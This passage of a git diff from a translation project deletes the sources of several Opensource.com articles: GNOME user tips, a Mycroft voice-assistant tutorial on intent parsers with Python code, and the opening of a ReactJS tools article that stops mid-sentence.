-extensions to customize your experience. Here's some advice from GNOME -users on how to get the most from it. -![Digital images of a computer desktop][1] - -GNOME is one of the most popular Linux desktops today. It started as a humble desktop called the GNU Network Object Model Environment (GNOME) and was built on top of the GIMP GTK libraries. Its 1.0 release [was announced in 1999][2], just two years after the project got started. - -Today, the most widely used Linux distributions provide GNOME 3 as their graphical desktop, and it's a great place to start learning Linux. As with any open source desktop, GNOME is extremely amenable to customization. You can alter and add to GNOME until it best suits your unique style of work. - -But the eternal question is: should you? - -We asked GNOME users their thoughts on this question, and some argue it's easier to learn GNOME (and Linux in the process) by using the desktop as delivered from the GNOME developers. - -> Going against the grain, I’d recommend using stock GNOME first and getting completely comfortable with it before delving into any extensions. —John Allison - -> GNOME may need some getting used to. It might turn out to be indigestible, or it might turn out to be the single best way to interact with a Linux machine. Your mileage may vary. —Alexey Rusakov - -> I don’t necessarily like the idea of recommending extensions. While they can be useful, every time someone complains about GNOME being unstable, it ends up being due to some sort of extension. Sometimes I feel as though recommending extensions to GNOME users creates the culture of installing a ginormous number of extensions to make GNOME something that it isn’t, and then the entire desktop comes crashing down. For me, my policy is to use as few extensions as possible. I really like the default GNOME layout with few or no changes. —Jay LaCroix - -It was a common theme among the responses—users new to GNOME should learn GNOME before changing it. - -### New users - -GNOME is deceptively simple—when you turn on your Linux computer, you end up on a desktop with only a few obvious prompts. There's the Activities menu in the upper left corner of the screen and a typical system tray in the upper right. - -Clicking on the Activities menu reveals an overlay containing an application dock. Clicking on the grid icon on the dock shows your installed applications. - -Default apps include the same kinds of services you'd expect from any other desktop—a file manager, PDF reader, network manager, system settings or control panel, and so on. There are also some unexpected but nice defaults. For instance, GNOME includes a robust [virtualization application][3]. - -GNOME has worked its way into becoming the unifying interface for most Linux users. While each distribution has its own convention for package management, software development practices, and nearly everything else, GNOME is a unified front. If you learn GNOME, you learn a common "language" for interacting with the graphical side of Linux. - -GNOME works hard at consistency, too. For instance, one key that is often ignored on keyboards is the Super key, which is the key with (usually) a Windows logo on it, or the Command key on Mac. GNOME uses this as a global hotkey, meaning that, no matter what application you're in, the Super key always talks to GNOME (any application can use the Super key, but few do). That means you have access to desktop functions regardless of what window is currently in focus. - -That's not true for most key combos based around Control or Alt. Being able to "jump" out of an application to access desktop functions is an underrated feature, and once you get used to it, you start to miss it when using other desktops. - -Here's some insight from our responders about acclimating to the GNOME way of doing things: - -> Learn one environment well, and then you may try other ones. —Marcin Juszkiewicz - -> Learn some of the handy shortcuts before attempting to define your own. -> -> * Super+Arrowup to maximize a window -> * Super+Arrowup to minimize a window -> * Super+Arrowleft or Super+ArrowRight to tile the window to take up half the screen -> * Super+PageUP or Super+PageDown to change workspace -> * Launch apps: Super, and then type 3-4 letters of the app you want to Launch (for example, f-i-r-e for Firefox, and so on) -> * Calculations: Super, and then type a simple equation (9*9) for a quick calculation -> - -> -> It’s a beautiful desktop, and it makes learning a new environment fun. Then again, learning something new can also be hard, so if you’re a new user, most of the people responding to us agreed that a slow and steady approach is best. Get familiar with your surroundings before jumping to change everything. —Andreas Nilsson - -> This might be a tough habit to unlearn for many users, but change from _mouse first_ to _Super key first_ for window switching, desktop navigation, launching, and searching. —Tim Quinlan - -### Built-in help - -Need help? There is a tutorial built-in. - -> We have a Help application in GNOME that gets launched at first boot. It has quick videos showing how to launch applications, manage windows and workspaces, and more. You can always find the Help application by searching for it in the Activities screen, or launch help from a terminal. —Felipe Borges - -### Get more apps - -Getting to know a desktop is one thing, but a desktop can only do so much. Obviously, at some point, you're going to want more applications so you can get work done. - -GNOME has an "app store" called Software that offers hundreds of open source applications you can install with a single click. It's topical, convenient, and easy. - -![GNOME software installer][4] - -### Experienced users - -If you're used to trying out different Linux desktops, then customizing your environment is nothing new to you. For GNOME, the easiest and most obvious way to customize the desktop beyond what GNOME provides you in Settings is [Tweaks][5], available from your Software app. - -![GNOME tweaks menu][6] - -Tweaks lets you customize practically anything—themes, the buttons that show up in your window bars, GNOME extensions, fonts, power settings, startup applications, and much more. - -Here is how some users set up their GNOME desktops: - -> [Matt Broberg][7] -> -> * Learn how to [get started with GNOME extensions][8]. -> * Customize the look of GNOME with [GNOME-look.org][9]. -> * All GNOME customizations (extensions included) are saved to a user’s `$HOME/.config` directory, so if I migrate my home directory to another computer, or I put my configs into Git management, I can keep my environment consistent. -> - - -> Daniel Alley -> -> * Install [Dash to Dock][10], [Caffeine][11], [Disconnect Wifi][12], and [Sound Input and Output Device Chooser][13] extensions. -> * Enable minimize and maximize buttons in window bars with GNOME Tweak tool. -> - - -> Grzegorz Grzybek -> -> * One of my favorite extensions is [GTK Title Bar][14], which removes title bars of non-GNOME apps when they’re put into fullscreen mode. -> - - -### Try something the same, or try something different - -GNOME was a direct response to the KDE desktop, which, at the time, was not licensed as [free software][15], and its original design played to the expectations of a KDE user. - -![GNOME desktop example with Fedora][16] - -It has come a long way since the early days and stands beside (and in many ways surpasses) the best-known desktops on other platforms. GNOME 3 is a progressive desktop, moving toward a unified interface for interfaces driven by keyboard, mouse, and touch. It's designed to balance beauty with resource requirements, innovation with familiarity, and efficiency with intuition. - -![GNOME 3 desktop][17] - -But if you're finding that you're familiar enough with GNOME but still not enjoying it, then there's nothing stopping you from trying something entirely different. In fact, it's common to try many different [desktops and window managers][18] on Linux and BSD because having choice in how you interact with your own computer is arguably the best embodiment of the open source spirit. You get to use your technology on your own terms. You never have to settle for what somebody else thinks is best. - -How do you configure GNOME? Do you use GNOME or a different desktop? Tell us in the comments! - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/6/gnome-users - -作者:[Opensource.com][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/admin -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/computer_desk_home_laptop_browser.png?itok=Y3UVpY0l (Digital images of a computer desktop) -[2]: https://www.gnome.org/press/1999/03/gnome-1-0-released/ -[3]: https://opensource.com/article/19/5/getting-started-gnome-boxes-virtualization -[4]: https://opensource.com/sites/default/files/uploads/gnome-software-installer.png (GNOME software installer) -[5]: https://wiki.gnome.org/action/show/Apps/Tweaks?action=show&redirect=Apps%2FGnomeTweakTool -[6]: https://opensource.com/sites/default/files/uploads/gnome-tweaks.png (GNOME tweaks menu) -[7]: https://opensource.com/users/mbbroberg -[8]: https://extensions.gnome.org -[9]: https://www.gnome-look.org -[10]: https://extensions.gnome.org/extension/307/dash-to-dock/ -[11]: https://extensions.gnome.org/extension/517/caffeine/ -[12]: https://extensions.gnome.org/extension/904/disconnect-wifi/ -[13]: https://extensions.gnome.org/extension/906/sound-output-device-chooser/ -[14]: https://extensions.gnome.org/extension/1732/gtk-title-bar/ -[15]: https://www.fsf.org/about/what-is-free-software -[16]: https://opensource.com/sites/default/files/uploads/gnome_desktop.png (GNOME desktop example with Fedora) -[17]: https://opensource.com/sites/default/files/uploads/advent-gnome_0.jpg (GNOME 3 desktop) -[18]: https://opensource.com/article/20/5/linux-desktops diff --git a/sources/tech/20200629 Use intent parsers for your open source home automation project.md b/sources/tech/20200629 Use intent parsers for your open source home automation project.md deleted file mode 100644 index 8730ac5c76..0000000000 --- a/sources/tech/20200629 Use intent parsers for your open source home automation project.md +++ /dev/null @@ -1,600 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Use intent parsers for your open source home automation project) -[#]: via: (https://opensource.com/article/20/6/mycroft-intent-parsers) -[#]: author: (Steve Ovens https://opensource.com/users/stratusss) - -Use intent parsers for your open source home automation project -====== -Use Padatious, Adapt, conversational context, and dialogs to start -programming your first voice AI. -![Working from home at a laptop][1] - -In [part 1][2] and [part 2][3] of this series on the [Mycroft][4] open source voice assistant, I laid the groundwork for learning how to create a skill. In [part 3][5], I walked through creating an outline for a skill and recommended creating the skill in pure Python first to ensure the methods work as intended. That way, when things go wrong, you know it is related to how your Mycroft skill is constructed and not the code itself. - -In this article, you will enhance the outline from part 3 by adding: - - * Mycroft entities - * Padatious intents - * Adapt intents - * Dialogs - * Conversational contexts - - - -The code for this project can be found in [my GitLab][6] repository. - -Let's get to it! - -### Improve your skill - -As a reminder, the purpose of this project is to use Mycroft to add items to shopping lists in the [OurGroceries][7] app. However, this tutorial can be applied to a variety of home automation applications like turning on your lights, getting the morning weather report, or controlling your entertainment systems. - -Here's what the skill's outline looks like so far: - - -``` -from mycroft import intent_file_handler, MycroftSkill, intent_handler -from mycroft.skills.context import adds_context, removes_context - -class OurGroceriesSkill(MycroftSkill): -    def __init__(self): -        MycroftSkill.__init__(self) - -    # Mycroft should call this function directly when the user -    # asks to create a new item -    def create_item_on_list(self, message): -        pass - -    # Mycroft should also call this function directly -    def create_shopping_list(self, message): -        pass - -    # This is not called directly, but instead should be triggered -    # as part of context aware decisions -    def handle_dont_create_anyways_context(self): -        pass - -    # This function is also part of the context aware decision tree -    def handle_create_anyways_context(self): -        pass - -    def stop(self): -        pass - -def create_skill(): -    return OurGroceriesSkill() -``` - -As it stands, Mycroft will load the skill successfully, but it won't do anything because all the methods have the command `pass` in them. For now, ignore the `__init__(self)` method and start working with the `create_item_on_list` method. From the comments, you can see the intent is for Mycroft to call this method directly. That means that you need to declare an _intent_. How do you do that? - -### Working with intents - -You may have noticed that the [outline][8] `mycroft-msk` created (in the third article) has what looks like a weird function, `@intent_file_handler('ourgroceries.intent')`, above the `handle_test` method. These are special notations in Python called decorators (if you want, head over to Real Python for a [primer on Python decorators][9]). For this tutorial, it is sufficient to know that a decorator is a way to pass your function into a prebuilt function developed by Mycroft. This saves a lot of work and boilerplate code. - -Recall from part three of this series that this project uses two intent parsers: Padacious and Adapt, which I described in the second article. - -#### Padatious intents - -So how do you know which decorator to use and where to use it? Great questions! I'll start with Padatious, which is the easier of the two to understand. If you recall from the second article, [Padatious][10] skills are _trained_ based on phrases that the skill's developer decides are relevant for the skill. As Mycroft may install many skills using the Padatious intent engine, each intent is given a score by the neural network module that Mycroft employs. Mycroft then chooses the highest-scoring intent and executes its functions. - -The phrases which Mycroft will use to train the intent are placed inside a file with a `.intent` file extension. You can have multiple `.intent` files, but you must reference each file explicitly. That means if you have `create.item.intent` and `create.category.intent`, there will be no confusion about which file your variables are populated from, as you must call them by file name. As you can see in the output from `mycroft-msk`, the decorator is intuitively named `@intent_file_handler()`. Simply use the name of the file as the argument for the decorator, such as `@intent_file_handler("create.item.intent")`. - -Think about what phrases someone might use to add an item to a shopping list. Since the motivating factor for this skill was using Mycroft to create a grocery list, the example code uses food-related terms, but you could use generic terms. With that said, here are some phrases you might say to add an item to your grocery list: - - * Add tomatoes to my shopping list - * Add tomatoes to the grocery list - * Add tomatoes to Costco list - - - -You may choose to have some grammatically incorrect phrases as well, to account for Mycroft misunderstanding the user's voice. From the list above, what pieces of information are programmatically relevant? `tomatoes`, `shopping list`, `grocery list`, and `Costco list`. The official documentation refers to this type of object as an _entity_. You can think of an entity as a variable, if that makes more sense to you. This will become clearer later when you create an intent file. While the `mycroft-msk` command will put intents in `locale/en-us` by default, I put mine under `vocab/en-us/`. Why? Well, that's because the Adapt intent parser stores its files in `vocab`, and I prefer to keep all my intent files in the same location. My file `vocab/en-us/create.item.intent` starts with: - - -``` -`add {Food} to my {ShoppingList}` -``` - -This defines the _entities_ `Food` and `ShoppingList`. - -**IMPORTANT NOTE**:  Padatious entities are **not** case-sensitive, and Padatious interprets everything in lower-case. For example, `ShoppingList` will be `shoppinglist`. - -Now that you have an intent, have Mycroft say a phrase containing your _entities_. Don't forget to add the intent decorator! Your new function will look like this: - - -``` -    @intent_file_handler("create.item.intent") -    def create_item_on_list(self, message): -        """ -        This function adds an item to the specified list - -        :param message: -        :return: Nothing -        """ -        item_to_add = message.data.get('food') -        list_name = message.data.get('shoppinglist') -        self.speak("Adding %s to %s" % (item_to_add, list_name)) -``` - -The graphic below uses three phrases: - - * Add tomatoes to my shopping list - * Add nails to my hardware list - * Add buns to groceries list - - - -Mycroft will not be able to figure out the intent behind one of these phrases. Can you guess which one and why? - -![Mycroft processing intent][11] - -(Steve Ovens, [CC BY-SA 4.0][12]) - -In case the video was a little too fast for you, here's the answer: Mycroft can't process the phrase `add buns to groceries list` because it is missing the keyword `my`. The intent explicitly says `add {Food} to my {ShoppingList}`. Without the word `my` as input from the user, the Padatious intent for the skill scores low and, therefore, Mycroft doesn't choose this skill to handle the request. The simplest solution is to add a new line to your intent file, like this: - - -``` -`add {Food} to {ShoppingList}` -``` - -Mycroft can often reload skills when it detects a change, but I prefer to restart Mycroft's skills section to make sure. I also clear the logs a lot during testing, so I run the following command to do everything in one line: - - -``` -` ./stop-mycroft.sh skills;sudo rm -f /var/log/mycroft/skills.log; ./start-mycroft.sh skills; mycroft-cli-client` -``` - -Testing the skill after Mycroft restarts yields the following results: - - -``` -add buns to groceries list                                                                 - >> Adding buns to groceries list -``` - -In case it is not clear, any response Mycroft makes in the `mycroft-cli-client` is prefixed by `>>` to indicate its response. Now that you have a basic intent, go back and review the objectives for this skill from part 3 of this series: - - 1. Login/authenticate - 2. Get a list of the current grocery lists - 3. Add item to a specific grocery list - 4. Add item to a category under a specific list - 5. Be able to add a category (since OurGroceries allows items to be placed in categories) - - - -Ignore the first two items for now—those deal with the online portion of the project, and you need to complete the other objectives first. For the third item, you have a basic intent that, in theory, should be able to take the _entities_ Mycroft detects and turn them into variables in the Python code. For the fourth item on the list, add two new lines to your intent: - - -``` -add {Food} to my {ShoppingList} under {Category} -add {Food} to {ShoppingList} under {Category} -``` - -You also need to alter your function slightly. When using the Padatious intent parser, _entities_ are returned via the `message.data.get()` function. This function will return `None` if the entity is undefined. In other words, if Mycroft cannot parse `{Category}` from an `utterance` the user makes, `message.data.get()` will return `None`. With this in mind, here is some quick test code: - - -``` -    @intent_file_handler("create.item.intent") -    def create_item_on_list(self, message): -        """ -        This function adds an item to the specified list - -        :param message: -        :return: Nothing -        """ -        item_to_add = message.data.get('food') -        list_name = message.data.get('shoppinglist') -        category_name = message.data.get('category') -        if category_name is None: -            self.speak("Adding %s to %s" % (item_to_add, list_name)) -        else: -            self.speak("Adding %s to %s under the category %s" % (item_to_add, list_name, category_name)) -``` - -Here is an example that tests these code changes: - -![Mycroft testing code changes][13] - -(Steve Ovens, [CC BY-SA 4.0][12]) - -In the example, Mycroft responds with `>> Adding nails to my hardware list under`, yet the only time you told Mycroft to say the word `under` is when `category_name` has a value other than `None`. This is because the intent parser is interpreting the word `under` as a part of the entity `ShoppingList`. Because the utterance had the word `my` in it, the sentences that matched the utterances could have been either: - - 1. `add {Food} to my {ShoppingList}` -or - 2. `add {Food} to my {ShoppingList} under {Category}` - - - -Since the user did not state the `{Category}`, Mycroft selected the first statement as the most correct. This means that anything _after_ the word `my` would be cast into the entity `{ShoppingList}`. Since, therefore, `{Category}` is `None`, Mycroft speaks, "Adding nails to my hardware list under" instead of "Adding nails to my hardware list under None." - -Padatious may seem a bit simplistic at first. For each phrase you need Mycroft to match, simply add a line to the intent file. However, with a complex intent, you could have several dozen lines attempting to cover all the different utterances you want to handle. - -There is another option that may be worth considering. Padatious intents support _parentheses expansion_. This means you can use a form of _OR_ statements to cut down on the number for lines in an intent. Going back, the example is trying to account for three cases: - - -``` -add {Food} to my {ShoppingList} -add {Food} to my {ShoppingList} under {Category} -add {Food} to the {ShoppingList} -add {Food} to the {ShoppingList} under {Category} -add {Food} to {ShoppingList} -add {Food} to {ShoppingList} under {Category} -``` - -If you want to rewrite this using an _OR_ statement to combine the `my` and `the` keywords, you could write: - - -``` -add {Food} to ( my | the ) {ShoppingList} -add {Food} to ( my | the ) {ShoppingList} under {Category} -add {Food} to {ShoppingList} -add {Food} to {ShoppingList} under {Category} -``` - -This removes two lines from the intent. Parentheses expansion also supports making something optional. So, if you want to make `the` and `my` optional and thus allow for the phrase `add {Food} to {ShoppingList}`, it would look like: - - -``` -add {Food} to ( | my | the ) {ShoppingList} -add {Food} to ( | my | the ) {ShoppingList} under {Category} -``` - -This simple change covers all three scenarios (once you restart the Mycroft skills subsystem). You can go a step further and condense this into a single line if you wish: - - -``` -`add {Food} to ( | my | the ) {ShoppingList} ( | under {Category})` -``` - -**Note:** For easier readability, use white spaces in your intent parentheses expansion. - -To summarize the important points about Padatious intent parsing: - - * You have to give several examples of phrases for Mycroft to come up with the correct match. - * Padatious intents use entities such as `{Food}` to identify object values that can be retrieved from your Python code. - * Entities are _always lower-case_ regardless of how you declare them in the intent file. - * If an entity cannot be parsed from an utterance, its value is `None`. - * The decorator for Padatious intents is `@intent_file_handler('my.intent.file.intent')`. - - - -#### Adapt intents - -Unlike Padatious intents, where you specify entities in the intent file, the Adapt intent parser works with a series of keywords that work in combination with regular expression (regex) files to attempt to capture an entity. You would use Adapt over Padatious when you: - - 1. Expect the utterance to be complex and the more robust parsing of regex is required - 2. Want or need Mycroft to be context-aware - 3. Need intents to be as lightweight as possible - - - -That said, the `voc` files Adapt uses are quite flexible. They can include a single word (as shown in the [official documentation][14]), or they can include the start of a sentence you want to react to. - -As one goal of this project is to have Mycroft create a new shopping list in the OurGroceries app, I wanted to add in some rudimentary checking so that the user is informed if a list with a similar name exists and asked if they still want to create a new list. This should cut down on list duplication and misplacement of items. - -Mock up some code, and then you can deal with the vocab and regex files. While you could use Pytest or similar unit tests to assert specific values, for the sake of simplicity, you will create a list called "shopping list." The Python mock function will look like this: - - -``` -    def create_shopping_list(self, message): -        fake_list = ["shopping list"] -        self.new_shopping_list_name = message.data['ListName'].lower() -        for current_shopping_list in fake_list: -            try: -                if self.new_shopping_list_name in current_shopping_list: -                    if self.new_shopping_list_name == current_shopping_list: -                        self.speak("The shopping list %s already exists" % self.new_shopping_list_name ) -                        break -                    else: -                        self.speak("I found a similar naming list called %s" % current_shopping_list) -                        # This hands off to either handle_dont_create_anyways_context or handle_create_anyways_context -                        # to make a context aware decision -                        self.speak("Would you like me to add your new list anyways?", expect_response=True) -                        break -                else: -                    self.speak("Ok creating a new list called %s" % self.new_shopping_list_name) -            except Exception as ex: -                print(ex) -                pass -``` - -Notice I am using a `forloop` to iterate over `fake_list`. That is because, in theory, multiple lists will be returned from the OurGroceries app. Also note the `try/except` block; I have given a general pass on the exception because, right now, I don't know what kind of exceptions I may run into. As you use and debug your code, you can tighten this up a bit. - -Another line to note is: - - -``` -`self.speak("Would you like me to add your new list anyways?", expect_response=True) ` -``` - -This bit of code will have Mycroft prompt the user for a response and store the result. I'll talk more about this bit of code in the conversational contexts section. - -#### Regular expressions, entities, and Adapt intents - -Now you have some pseudo code, but you need to add the decorator for Mycroft to action your code. You need to create three files for this to work: two vocab files and one regex file. The regex file, which I will name `add.shopping.list.rx`, looks like this: - - -``` -start a new list called (?P<ListName>.*) -create a new list called (?P<ListName>.*) -add a new list called (?P<ListName>.*) -``` - -You could make this a one-liner, but for simplicity's sake, keep it as three lines. Note this strange-looking notation: `(?P.*)`. This is the part of the code that captures and creates the entity. The entity, in this case, is called `ListName`. For checking your syntax, I recommend [Pythex][15]. It is very helpful when I am debugging my regex (I'm pretty terrible at regex). - -**IMPORTANT NOTE:** Adapt intents are case sensitive. - -#### Adapt and vocab files - -Now that your regex includes the full sentences you expect, create your two vocab files. The first file is called `CreateKeyword.voc`. As you can surmise from the file name, all the words you want to associate with the `create` action should reside here. This file is very simple: - - -``` -start a new -create a new -add a new -``` - -In the documentation, you will often see only a single word per line. However, due to some Mycroft default skills using `start` and `create`, I need to add words so that Mycroft will pick my skill appropriately. - -The second file is even easier. It's called `ListKeyword.voc` and has a single word in it: - - -``` -`list` -``` - -With these files defined, you can now construct your decorator: - - -``` -`@intent_handler(IntentBuilder('CreateShoppingIntent').require('CreateKeyword').require('ListKeyword').require("ListName"))` -``` - -The first argument in the `IntentBuilder` is `'CreateShoppingIntent'`; this is the name of the intent and is completely optional. If you want to leave this blank, you can. The `require` section is a bit confusing. When it comes to keywords, the argument for `require` is the name of the file without the file extension. In this case, one of the files is called `ListKeyword.voc`, so the argument being passed into `require` is just `'ListKeyword'`. - -While you can name your vocab files anything you want, I highly recommend using the word `Keyword` in the file so that when you are building your `intent_handler` decorator, it is clear what you are requiring. - -If `require` is actually an entity from a regex file, the argument for `require` is the name of the entity as you defined it in the regex. If your regex was `start a new list called (?P.*)`, then you would write `require('NewList')`. - -Restart the Mycroft skills subsection and try it out. You should see this in the Mycroft command-line interface: - - -``` - add a new list called hardware - >> Ok creating a new list called hardware -  - create a new list called hardware - >> Ok creating a new list called hardware -  - start a new list called hardware - >> Ok creating a new list called hardware -``` - -#### Conversational contexts - -Great, it works! Now add the following decorator to your function: - - -``` -`@adds_context("CreateAnywaysContext")` -``` - -This decorator is tied to the [conversational context][16] that Mycroft supports. Conversational contexts are essentially where you can speak normally to Mycroft and it will understand your meaning. For example, you could ask: "Who was John Quincy Adams?" After Mycroft responds, saying something like "John Quincy Adams was the sixth president of the United States," you could ask: "How old was he when he became president?" If you ask the second question first, Mycroft has no way to know who the pronoun _he_ refers to. However, in the context of this conversation, Mycroft understands that _he_ refers to John Quincy Adams. - -Getting back to creating a conversational context, the argument for its decorator is the name of the context. This example calls the context `CreateAnywaysContext` and hence, the full decorator is `@adds_context("CreateAnywaysContext")`. This mock method is now complete. However, you now need to add two simple methods to handle the user's feedback. You can simplify the grocery list skill by requiring either a yes or a no answer. Create a `YesKeyword.voc` and a `NoKeyword.voc`, and place the words `yes` and `no` in them, respectively. - -Now create two more methods in your Python: - - -``` -@intent_handler(IntentBuilder('DoNotAddIntent').require("NoKeyword").require('CreateAnywaysContext').build()) -@removes_context("CreateAnywayscontext") -def handle_dont_create_anyways_context(self): -    """ -    Does nothing but acknowledges the user does not wish to proceed -    Uses dont.add.response.dialog -    :return: -    """ -    self.speak_dialog('dont.add.response') - -    @intent_handler(IntentBuilder('AddAnywaysIntent').require("YesKeyword").require('CreateAnywaysContext').build()) -@removes_context("CreateAnywayscontext") -def handle_create_anyways_context(self): -    """ -    If the user wants to create a similarly named list, it is handled here -    Uses do.add.response.dialog -    :return: -    """ -    self.speak_dialog('do.add.response') -``` - -There are two things here you have not seen so far: - - 1. `@remove_context` - 2. `self.speak_dialog` - - - -If a method that requires `CreateAnywaysContext` is called, the decorator `@remove_context` gets rid of the context so that Mycroft does not accidentally action a context more than once. While multiple contexts can be applied to a method, this project will not use them. - -#### Dialogs - -Dialogs are files that have several prebuilt responses that Mycroft can pick from. These dialogs are stored in `dialog/{language tag}/`, and the language tag is based on the IETF standard. Examples can be found on [Venea.net][17] in the IETF LanguageTag column. - -Mycroft picks randomly from the list of sentences in a specified dialog file. Why would you use a dialog file instead of implementing `self.speak` in Python? The answer is simple: When you create and use a dialog file, you do not have to change the Python code to support other languages. - -For example, if the dialog file called `dont.add.response.dialog` exists under `en-us` with the following content: - - -``` -Ok... exiting -Gotcha I won't add it -Ok I'll disregard it -Make up your mind! -``` - -You could also create `de-de/dont.add.response.dialog` with the following content: - - -``` -Ok... Beenden -Erwischt Ich werde es nicht hinzufügen -Ok, ich werde es ignorieren. -Entscheiden Sie sich! -``` - -In your Python code, you would use `self.speak_dialog('dont.add.response')` to randomly select one of the answers for Mycroft to use. If a user's Mycroft language is set to German, Mycroft will automatically select the correct dialog and play the dialog in German instead of English. - -To wrap up this section, create two files under `dialog/en-us`. For `dont.add.response.dialog`, use the same content as in the above example. For `do.add.response.dialog`, use: - - -``` -Ok adding it now -Sure thing -Yup yup yup -``` - -At this point in this project, your tree should look something like this: - - -``` -├── dialog -│   └── en-us -│       ├── do.add.response.dialog -│       └── dont.add.response.dialog -├── __init__.py -├── regex -│   └── en-us -│       └── ADD.shopping.list.rx -└── vocab -    └── en-us -        ├── CREATE.item.intent -        ├── CreateKeyword.voc -        └── ListKeyword.voc -``` - -Note that I created the files by hand. If you used the `mycroft-msk create` method, you might have `locale` directories, `settingsmeta.yaml,` or other artifacts. - -#### Wrapping up - -We've covered a lot so far. You have implemented the Padatious intent parser to, theoretically, add a new item to a list, whether or not you put it under a category. You have also used the Adapt intent parser to add a new category. You used conversational context to prompt the user for confirmation if a similar list already exists. Finally, you learned the concept of dialogs as a way for Mycroft to provide varied confirmation responses to the user. - -Currently, the code looks like: - - -``` -from mycroft import intent_file_handler, MycroftSkill, intent_handler -from mycroft.skills.context import adds_context, removes_context -from adapt.intent import IntentBuilder - -class OurGroceriesSkill(MycroftSkill): -    def __init__(self): -        MycroftSkill.__init__(self) - -    # Mycroft should call this function directly when the user -    # asks to create a new item -    @intent_file_handler("create.item.intent") -    def create_item_on_list(self, message): -        """ -        This function adds an item to the specified list - -        :param message: -        :return: Nothing -        """ -        item_to_add = message.data.get('food') -        list_name = message.data.get('shoppinglist') -        category_name = message.data.get('category') -        if category_name is None: -            self.speak("Adding %s to %s" % (item_to_add, list_name)) -        else: -            self.speak("Adding %s to %s under the category %s" % (item_to_add, list_name, category_name)) - -    # Mycroft should also call this function directly -    @intent_handler(IntentBuilder('CreateShoppingIntent').require('CreateKeyword').require('ListKeyword').require("ListName")) -    def create_shopping_list(self, message): -        fake_list = ["shopping list"] -        self.new_shopping_list_name = message.data['ListName'].lower() -        for current_shopping_list in fake_list: -            try: -                if self.new_shopping_list_name in current_shopping_list: -                    if self.new_shopping_list_name == current_shopping_list: -                        self.speak("The shopping list %s already exists" % self.new_shopping_list_name ) -                        break -                    else: -                        self.speak("I found a similar naming list called %s" % current_shopping_list) -                        # This hands off to either handle_dont_create_anyways_context or handle_create_anyways_context -                        # to make a context aware decision -                        self.speak("Would you like me to add your new list anyways?", expect_response=True) -                        break -                else: -                    self.speak("Ok creating a new list called %s" % self.new_shopping_list_name) -            except AttributeError: -                pass -    # This is not called directly, but instead should be triggered -    # as part of context aware decisions -    @intent_handler(IntentBuilder('DoNotAddIntent').require("NoKeyword").require('CreateAnywaysContext').build()) -    @removes_context("CreateAnywayscontext") -    def handle_dont_create_anyways_context(self): -        """ -        Does nothing but acknowledges the user does not wish to proceed -        Uses dont.add.response.dialog -        :return: -        """ -        self.speak_dialog('dont.add.response') - -    # This function is also part of the context aware decision tree -    @intent_handler(IntentBuilder('AddAnywaysIntent').require("YesKeyword").require('CreateAnywaysContext').build()) -    @removes_context("CreateAnywayscontext") -    def handle_create_anyways_context(self): -        """ -        If the user wants to create a similarly named list, it is handled here -        Uses do.add.response.dialog -        :return: -        """ -        self.speak_dialog('do.add.response') - -    def stop(self): -        pass - -def create_skill(): -    return OurGroceriesSkill() -``` - -  - -In the next article, I will go into logging, getting settings from the web UI, and continuing to fill out the skill into something more useful. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/6/mycroft-intent-parsers - -作者:[Steve Ovens][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/stratusss -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/wfh_work_home_laptop_work.png?itok=VFwToeMy (Working from home at a laptop) -[2]: https://opensource.com/article/20/6/open-source-voice-assistant -[3]: https://opensource.com/article/20/6/mycroft -[4]: https://mycroft.ai/ -[5]: https://opensource.com/article/20/6/outline-mycroft-voice-assistant-skill -[6]: https://gitlab.com/stratus-ss/mycroft-ourgroceries-skill -[7]: https://www.ourgroceries.com/overview -[8]: https://opensource.com/article/20/6/outline-mycroft-voice-assistant-skill#decorator -[9]: https://realpython.com/primer-on-python-decorators/ -[10]: https://mycroft-ai.gitbook.io/docs/skill-development/user-interaction/intents/padatious-intents -[11]: https://opensource.com/sites/default/files/uploads/mycroft-padatious-first-intent.gif (Mycroft processing intent) -[12]: https://creativecommons.org/licenses/by-sa/4.0/ -[13]: https://opensource.com/sites/default/files/uploads/mycroft-padatious-category1.gif (Mycroft testing code changes) -[14]: https://mycroft-ai.gitbook.io/docs/skill-development/user-interaction/intents/adapt-intents -[15]: https://pythex.org/ -[16]: https://mycroft-ai.gitbook.io/docs/skill-development/user-interaction/conversational-context -[17]: https://www.venea.net/web/culture_code diff --git a/sources/tech/20200630 10 ReactJS tools to boost your web development skills.md b/sources/tech/20200630 10 ReactJS tools to boost your web development skills.md deleted file mode 100644 index 827b3d798b..0000000000 --- a/sources/tech/20200630 10 ReactJS tools to boost your web development skills.md +++ /dev/null @@ -1,248 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (10 ReactJS tools to boost your web development skills) -[#]: via: (https://opensource.com/article/20/6/reactjs-tools) -[#]: author: (Prayaag Kasundra https://opensource.com/users/prayaag-kasundra) - -10 ReactJS tools to boost your web development skills -====== -Increase your value to employers by learning these top tools for -developing web apps in React. -![Woman sitting in front of her computer][1] - -Did you know most résumés submitted for jobs get rejected with just a single glance? That's a daunting fact if you are trying to get started in web development, but there are ways to improve what you have to offer prospective employers and clients. For application developers, now is a great time to increase your skills, and open source is the best avenue for professional development. You don't need to attend university to learn new open source skills; all you need is a sense of direction and self-discipline. - -ReactJS is one of many skills you would be wise to learn on your way to becoming a successful web developer. If you're already comfortable with JavaScript and HTML, it is a natural next technology to learn. If you're not familiar with them yet, then you'll find ReactJS a great place to start as a programmer. - -In this article, I'll share my top 10 tools and libraries that will help you qualify for a job (or be a serious hobbyist, if you prefer) as a JavaScript developer. - -### What is React, and why should you learn it? - -React is a JavaScript library for user interface (UI) development that Facebook introduced in May 2013 (and still 